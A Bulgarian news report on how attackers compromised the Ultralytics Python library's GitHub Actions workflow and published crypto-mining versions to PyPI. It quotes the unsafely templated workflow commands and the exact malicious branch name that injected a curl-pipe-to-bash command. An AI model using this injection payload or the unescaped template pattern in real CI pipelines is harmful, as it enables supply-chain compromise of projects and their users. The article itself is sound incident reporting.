Грешка в обработчика на GitHub Actions довела до публикуването на злонамерени версии на Ultralytics

Злоумышленниците успяха да изпълнят код с правата на обработчика GitHub Actions в репозитория на Python библиотеката Ultralytics, използвана за решаване на задачи в компютърното зрение, като разпознаване на обекти на изображения и сегментиране на изображения. След като получиха достъп до репозитория, атакуващите публикуваха в каталога PyPI няколко нови версии на Ultralytics, включващи злонамерени промени за добив на криптовалути. През последния месец библиотеката Ultralytics е била изтегляна от каталога PyPI над 6.4 милиона пъти.

За компрометиране на репозитория е използвана уязвимост в пакета ultralytics-actions, прилаган за автоматично стартиране на обработчици при определени действия в репозитория на GitHub, чрез механизма GitHub Actions. В проекта ultralytics уязвимият обработчик е свързан със събитие pull_request_target и се е извиквал при постъпване на нови pull-заявки. В частност, за форматирането на кода в подадените pull-заявки е бил извикан обработчик format.yml и е изпълняван кодът, указани в секцията „run“ на файла action.yml, който съдържа shell команди с шаблони за подмяна: git pull origin ${{ github.head_ref || github.ref }} git config —global user.name «${{ inputs.github_username }}» git config —global user.email «${{ inputs.github_email }}»

По този начин в shell командите без подходящо ескейпване е било подставяно името на Git клон, споменато в pull-заявете. Интересното е, че през август в пакета ultralytics-actions вече е била поправена подобна уязвимост, свързана с използването на външно значение в функцията echo: echo «github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}»

За да реализират своя код в контекста на обработчика GitHub Actions, нападателите изпратили pull-заявка в репозитория ultralytics, указвайки следното име на клона: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

Следователно, при постъпване на pull-заявката, в кода е била подставена зададената от атакуващите стринга «$(…)», която при последващо изпълнение на обработчика е довела до изпълнение на кода «curl -sSfL raw.githubusercontent.com/.../file.sh | bash».

Грешка в обработчика на GitHub Actions довела до публикуването на злонамерени версии на Ultralytics

Изпълнението на код в контекста на GitHub Actions може да се използва за прихващане на токена за достъп до репозитория и други конфиденциални данни. Как точно атакуващите успяха да създадат версия, получавайки възможност да изпълняват своя код в GitHub Actions, все още не е ясно, но се предполага, че това стана възможно благодарение на промяна в обработвача publish.yml (атакуващите премахнаха проверката на акаунта, с който е разрешено публикуването на версии в PyPI) и използването на техника за отравяне на кеша на GitHub Actions за вмъкване на свои данни в версията.

Първата зловредна версия Ultralytics 8.3.41 беше публикувана от престъпниците в каталога PyPI на 4 декември в 23:51 (MSK) и беше премахната в 12:15 на следващия ден. В 15:47 беше публикувана още една версия 8.3.42, която беше премахната в 16:47. Така зловредните версии общо бяха достъпни за изтегляне около 13 часа (в PyPI се регистрират около 250 хиляди изтегляния на библиотеката ultralytics на ден). В състава на версиите 8.3.41 и 8.3.42 имаше код, който осъществяваше изтегляне от външен сървър компонент XMRig за добив на криптовалута.

Разработчиците на проекта отстраниха проблема и създадоха коригиращи версии 8.3.43 и 8.3.44, но след два дни беше извършена още една атака, при която престъпниците публикуваха днес в 04:41 и 05:27 (MSK) две допълнителни зловредни версии — 8.3.45 и 8.3.46, включващи друг код за добив. До приключване на разследването на потребителите се препоръчва да забавят инсталирането на нови версии и да фиксират версия 8.3.44 в зависимостите.

Източник: opennet.ru

Купете надежден хостинг за сайтове със защита от DDoS, VPS и VDS сървъри 🔥 Купете надежден хостинг за сайтове със защита от DDoS, VPS и VDS сървъри | ProHoster